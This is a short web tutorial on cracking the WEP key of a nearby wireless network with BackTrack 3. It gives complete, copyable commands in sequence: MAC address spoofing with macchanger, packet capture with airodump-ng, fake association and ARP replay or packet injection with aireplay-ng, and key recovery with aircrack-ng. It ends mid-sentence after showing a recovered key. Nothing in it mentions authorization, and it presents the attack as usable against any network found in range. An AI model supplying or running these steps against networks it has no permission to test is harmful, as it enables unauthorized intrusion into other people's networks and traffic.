How To Hack WEP Network ?

  This article will explain how to crack wep key using Backtrack3.  

Step 1:- 
Download Backtrack 3 from the following link 
http://www.remote-exploit.org/backtrack_download.html 

Step 2:- 
Burn the iso image on CD and boot your laptop from CD drive 

Step 3:- 
Select  the third boot option(VESA/KDE). 

Step 4:- 
Once in BT3, click the tiny black box in the lower left corner to load up a "Konsole" window. 

Step 5:- 
Type the following command 
airmon-ng  
Note down the interface name. In this example  wifi0 

Step 6:- 
airmon-ng stop wifi0 

Step 7:- 
ifconfig wifi0 down 

Step 8:- 
macchanger --mac 00:11:22:33:44:55 wifi0  

Step 9:- 
airmon-ng start wifi0 
   

Step 10:- 
airodump-ng wifi0  
This will start populating Wifi networks. Press Ctrl + C to stop. 
Check the network with WEP encryption. 
Notedown BSSID, CH and ESSID somewhere in notepad or paper 
Note that if the same BSSID is available in the second part with STATION associated with it, it means you some one is accessing that network and our task will be little easier. If not than don’t worry we will still crack it 

Step 11:- 
airodump-ng -c (channel) -w (file name) --bssid (bssid) wifi0 
Replace  
(channel) with the CH which u had already note  
(file name) with any name of your choice 
(bssid) with the BSSID which u had already note 
 
Leave this console as it is and start new console 

Step 12:- 
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wifi0  
If you don’t get Association Successful message than keep on trying until you get success 

Step 13:- 
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wifi0  
Well if you don’t see ARP ACK and sent packets are not increasing or still 0 than it means no 1 is accessing that network.But don’t worry you got an optional step 
Leave this console as it is and start new console 

Step 14:- 
aireplay-ng  -2 –p 0841 –c FF:FF:FF:FF:FF:FF –b (bssid) –h 00:11:22:33:44:55 wfi0 
   
Press y and enter 
Now you will see that ARP and ACK packets in 2nd console are increasing fast 
Keep this console as it is and start 4th console 

Step 15:- 
aircrack-ng -b (bssid) (filename)-01.cap 
Just wait and watch…..Backtrack will do rest of the work.  

  Hurray we got the key. Remove “  7D0005F98DC9E489F211C54998